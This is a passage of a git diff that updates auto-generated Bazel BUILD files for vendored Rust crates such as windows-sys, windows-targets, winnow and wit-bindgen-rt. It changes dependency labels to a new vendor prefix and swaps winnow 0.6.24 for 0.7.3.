--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.52.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.52.0.bazel
@@ -28,14 +28,6 @@ rust_library(
             "WORKSPACE.bazel",
         ],
     ),
-    crate_features = [
-        "Win32",
-        "Win32_Foundation",
-        "Win32_System",
-        "Win32_System_ProcessStatus",
-        "Win32_System_Threading",
-        "default",
-    ],
     crate_root = "src/lib.rs",
     edition = "2021",
     rustc_flags = [
@@ -89,6 +81,6 @@ rust_library(
     }),
     version = "0.52.0",
     deps = [
-        "@vendor__windows-targets-0.52.6//:windows_targets",
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.59.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.59.0.bazel
index 3edea90968f3..9b2c722558cc 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.59.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-sys-0.59.0.bazel
@@ -31,12 +31,17 @@ rust_library(
     crate_features = [
         "Win32",
         "Win32_Foundation",
+        "Win32_Security",
         "Win32_Storage",
         "Win32_Storage_FileSystem",
         "Win32_System",
         "Win32_System_Com",
         "Win32_System_Console",
+        "Win32_System_IO",
+        "Win32_System_ProcessStatus",
         "Win32_System_SystemInformation",
+        "Win32_System_Threading",
+        "Win32_System_WindowsProgramming",
         "Win32_UI",
         "Win32_UI_Shell",
         "default",
@@ -94,6 +99,6 @@ rust_library(
     }),
     version = "0.59.0",
     deps = [
-        "@vendor__windows-targets-0.52.6//:windows_targets",
+        "@vendor_ts__windows-targets-0.52.6//:windows_targets",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.48.5.bazel
index 8d59fbf6b521..f235fb732a5a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.48.5.bazel
@@ -82,22 +82,22 @@ rust_library(
     version = "0.48.5",
     deps = select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows_aarch64_msvc-0.48.5//:windows_aarch64_msvc",  # cfg(all(target_arch = "aarch64", target_env = "msvc", not(windows_raw_dylib)))
+            "@vendor_ts__windows_aarch64_msvc-0.48.5//:windows_aarch64_msvc",  # cfg(all(target_arch = "aarch64", target_env = "msvc", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows_i686_msvc-0.48.5//:windows_i686_msvc",  # cfg(all(target_arch = "x86", target_env = "msvc", not(windows_raw_dylib)))
+            "@vendor_ts__windows_i686_msvc-0.48.5//:windows_i686_msvc",  # cfg(all(target_arch = "x86", target_env = "msvc", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__windows_i686_gnu-0.48.5//:windows_i686_gnu",  # cfg(all(target_arch = "x86", target_env = "gnu", not(windows_raw_dylib)))
+            "@vendor_ts__windows_i686_gnu-0.48.5//:windows_i686_gnu",  # cfg(all(target_arch = "x86", target_env = "gnu", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows_x86_64_msvc-0.48.5//:windows_x86_64_msvc",  # cfg(all(target_arch = "x86_64", target_env = "msvc", not(windows_raw_dylib)))
+            "@vendor_ts__windows_x86_64_msvc-0.48.5//:windows_x86_64_msvc",  # cfg(all(target_arch = "x86_64", target_env = "msvc", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__windows_x86_64_gnu-0.48.5//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
+            "@vendor_ts__windows_x86_64_gnu-0.48.5//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__windows_x86_64_gnu-0.48.5//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
+            "@vendor_ts__windows_x86_64_gnu-0.48.5//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.52.6.bazel
index 854e7e0b060a..c979bc50d9d1 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-targets-0.52.6.bazel
@@ -82,22 +82,22 @@ rust_library(
     version = "0.52.6",
     deps = select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows_aarch64_msvc-0.52.6//:windows_aarch64_msvc",  # cfg(all(target_arch = "aarch64", target_env = "msvc", not(windows_raw_dylib)))
+            "@vendor_ts__windows_aarch64_msvc-0.52.6//:windows_aarch64_msvc",  # cfg(all(target_arch = "aarch64", target_env = "msvc", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows_i686_msvc-0.52.6//:windows_i686_msvc",  # cfg(all(target_arch = "x86", target_env = "msvc", not(windows_raw_dylib)))
+            "@vendor_ts__windows_i686_msvc-0.52.6//:windows_i686_msvc",  # cfg(all(target_arch = "x86", target_env = "msvc", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__windows_i686_gnu-0.52.6//:windows_i686_gnu",  # cfg(all(target_arch = "x86", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
+            "@vendor_ts__windows_i686_gnu-0.52.6//:windows_i686_gnu",  # cfg(all(target_arch = "x86", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows_x86_64_msvc-0.52.6//:windows_x86_64_msvc",  # cfg(all(any(target_arch = "x86_64", target_arch = "arm64ec"), target_env = "msvc", not(windows_raw_dylib)))
+            "@vendor_ts__windows_x86_64_msvc-0.52.6//:windows_x86_64_msvc",  # cfg(all(any(target_arch = "x86_64", target_arch = "arm64ec"), target_env = "msvc", not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__windows_x86_64_gnu-0.52.6//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
+            "@vendor_ts__windows_x86_64_gnu-0.52.6//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
         ],
         "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__windows_x86_64_gnu-0.52.6//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
+            "@vendor_ts__windows_x86_64_gnu-0.52.6//:windows_x86_64_gnu",  # cfg(all(target_arch = "x86_64", target_env = "gnu", not(target_abi = "llvm"), not(windows_raw_dylib)))
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.48.5.bazel
index d43430783ad6..362ee5153396 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_aarch64_gnullvm-0.48.5//:build_script_build",
+        "@vendor_ts__windows_aarch64_gnullvm-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.52.6.bazel
index 28d57204eab3..d4a56f926807 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_gnullvm-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_aarch64_gnullvm-0.52.6//:build_script_build",
+        "@vendor_ts__windows_aarch64_gnullvm-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.48.5.bazel
index 8b9d61a37fcc..7b60315c4658 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_aarch64_msvc-0.48.5//:build_script_build",
+        "@vendor_ts__windows_aarch64_msvc-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.52.6.bazel
index 4ea07829b8e5..7aaf3e56924b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_aarch64_msvc-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_aarch64_msvc-0.52.6//:build_script_build",
+        "@vendor_ts__windows_aarch64_msvc-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.48.5.bazel
index 1f1ccff3723e..45cf7592d1a8 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_i686_gnu-0.48.5//:build_script_build",
+        "@vendor_ts__windows_i686_gnu-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.52.6.bazel
index e97f0d525e95..c31f565b76c6 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnu-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_i686_gnu-0.52.6//:build_script_build",
+        "@vendor_ts__windows_i686_gnu-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnullvm-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnullvm-0.52.6.bazel
index abd74fe822ee..7f37dcce3068 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnullvm-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_gnullvm-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_i686_gnullvm-0.52.6//:build_script_build",
+        "@vendor_ts__windows_i686_gnullvm-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.48.5.bazel
index 6a1d284815b4..98eef82ece69 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_i686_msvc-0.48.5//:build_script_build",
+        "@vendor_ts__windows_i686_msvc-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.52.6.bazel
index 557e0069dbce..d09383b28359 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_i686_msvc-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_i686_msvc-0.52.6//:build_script_build",
+        "@vendor_ts__windows_i686_msvc-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.48.5.bazel
index 993ddafbaf99..14508675b586 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_x86_64_gnu-0.48.5//:build_script_build",
+        "@vendor_ts__windows_x86_64_gnu-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.52.6.bazel
index 665a23a53619..eb1219c681ce 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnu-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_x86_64_gnu-0.52.6//:build_script_build",
+        "@vendor_ts__windows_x86_64_gnu-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.48.5.bazel
index 703625bfdca9..71285899742a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_x86_64_gnullvm-0.48.5//:build_script_build",
+        "@vendor_ts__windows_x86_64_gnullvm-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.52.6.bazel
index d4a3464e1176..678e71b4da5f 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_gnullvm-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_x86_64_gnullvm-0.52.6//:build_script_build",
+        "@vendor_ts__windows_x86_64_gnullvm-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.48.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.48.5.bazel
index bcc41e3bef94..9d9664ccbd46 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.48.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.48.5.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.48.5",
     deps = [
-        "@vendor__windows_x86_64_msvc-0.48.5//:build_script_build",
+        "@vendor_ts__windows_x86_64_msvc-0.48.5//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.52.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.52.6.bazel
index 5c2d37dbca84..df8d9024f53c 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.52.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows_x86_64_msvc-0.52.6.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.52.6",
     deps = [
-        "@vendor__windows_x86_64_msvc-0.52.6//:build_script_build",
+        "@vendor_ts__windows_x86_64_msvc-0.52.6//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winnow-0.6.24.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winnow-0.6.24.bazel
deleted file mode 100644
index e5cef505d453..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winnow-0.6.24.bazel
+++ /dev/null
@@ -1,88 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "winnow",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "default",
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=winnow",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.6.24",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winnow-0.7.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winnow-0.7.3.bazel
new file mode 100644
index 000000000000..4c327dadb1db
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.winnow-0.7.3.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "winnow",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "default",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=winnow",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.7.3",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wit-bindgen-rt-0.33.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wit-bindgen-rt-0.33.0.bazel
new file mode 100644
index 000000000000..01f119aef6f8
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wit-bindgen-rt-0.33.0.bazel
@@ -0,0 +1,142 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "wit_bindgen_rt",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=wit-bindgen-rt",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
